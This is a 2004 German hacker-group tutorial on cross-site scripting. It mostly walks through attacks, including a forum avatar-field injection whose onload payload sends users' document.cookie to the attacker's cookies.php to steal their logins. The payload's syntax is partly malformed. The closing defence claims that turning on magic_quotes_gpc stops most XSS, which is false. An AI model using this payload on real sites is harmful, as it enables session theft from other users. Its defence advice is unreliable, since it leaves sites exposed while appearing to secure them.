HTML Injection Attacks(XSS)

Ich werde in diesem Paper den HTML Injection Angriff näher beschreiben.
Da es für die Abwehr solcher Angriffe nötig ist, zu Wissen wie sie angewendet
werden,werde ich auch auf den Angriff eingehen.Dazu ist aber zu sagen dass ihr
für eure Taten selbst verantwortlich seit und ich für Schäden etc. keine
Haftung übernehme.
Dieser Text ist nicht dazu gedacht das irgendwelche kiddies damit schaden machen.


Dieses Paper entstand mit Emacs unter einer Auflösung von 1024x768.


1.Angriff
HTML-Injection oder auch Cross-Site Scripting Attacks sind sehr leicht
durchzuführen.Allerdings ist auch die Absicherung gegen bestimmte Techniken
des Cross-Site Scripting (im weiteren nur noch XSS genannt) recht einfach.

Als erstes einfache, und ungefährliches beispiel nehmen wir an, wir wären auf
einer Seite auf der sie über ein interaktives Script ,Eingaben an eine
Variable übergeben.
Stellen sie sich z.B eine Seite mit einem einfachen Votecast welches nach ihrer
Auswahl, den Wert auf einer neuen Seite ausgibt vor.Es hat die Auswahlmöglichkeiten

1
2
3


Ihre Auswahl wird dann über ein PHP-Script an eine Variable übergeben.Diese
nennen wir einfach mal auswahl.
Wen wir davon ausgehen dass sie 1 gewählt haben sieht das als HTML-Request in ihrer Adresszeile so aus:

http://www.meine_vuln_seite.de/index.php?auswahl=1

Wir sehen hier also die Domain,und die Seite index.php mit der Variablen
auswahl der wir den Wert 1 übergeben haben.
Geben sie nun mal folgendes in die Adresszeile ihres Browsers ein:


http://www.meine_vuln_seite.de/index.php?auswahl=<script>alert('hallo')</script>


Es wird ein Java-Script PopUp mit den Worten Hallo ausgegeben.
Denn durch
<script></script>
wird ein Java-Script definiert,und alert ist der Befehl der ein PopUp
erstellt.

Das war jetz das harmlose XSS.Es lässt sich praktisch jedes beliebige HTML-Tag einfügen.

Doch diese Lücke lässt sich auch sehr leicht missbrauchen.

Wir versuchen jetzt den Angriff auf eine Forensoftware.
Dazu brauchen wir ein Forum in dem es möglich ist ein Bild (z.B einen Avatar)
hochzuladen.
Wenn dem so ist können wir versuchen die Cookies der Forumsbenutzer
auszulesen.
Und zwar suchen wir uns,nach dem wir uns angemeldet haben, das Formular in
dem man eine Bildurl für ein image
angeben kann das man hochladen möchte.
dort versuchen wir einfach mal folgendes einzugeben:


http://127.0.0.1/badimage.jpg"><script>alert(document.cookie)</script>


Wenn das nun funktioniert hat müsste man ein Fenster mit ungefähr folgendem
Inhalt bekommen:

login=dasbinich
passwd=dasismeins

Das bringt uns jetz aber noch nicht wirklich was, aber das war ihnen ja wohl
klar
Was wir aber sehen ist dass die Variable document.cookie den Wert der
Cookies der Seite enthält(Ist fast überall so).
Um die Cookies auslesen zu können geben wir als Image URL einfach etwas in
dieser Richtug ein:

badimage.jpg" width="0" height="0" name="bad"
onload="bad.src"="http://127.0.0.1/cookies.php?cookie='+document.cookie"

wie wir sehen brauchen wir eine cookies.php auf unserem Server(wie du
hast keine Server?)die den Inhalt der Variablen cookies speichert(schreiben
wirste das wohl können oder)

Die Methode OnLoad bewirkt dass das Bild geladen wird und uns die
cookies in die Datei cookies.txt geschickt wird.

2.Abwehr
zwar sind XSS-Attacken leicht durchzuführen aber auch leicht zu verhindern.
Man nehme sich auf einem Server die Datei /etc/php.ini vor und ändere
den Wert von

magic_quotes_gpc=off

in

magic_quotes_gpc=on

und hat damit vor den meisten Arten des XSS-Angriffs ruhe.



----------------------------------------------------------------------------------------
So das wars dazu...
Fragen und Flames an syke@digital-knowledge.org


grüße an:
Exuz
Overload
Arrival
auch mal an die Jungs von Ghcif

¢2004 digital-knowledge crew
EUirc #dkcelite
www.digital-knowledge.org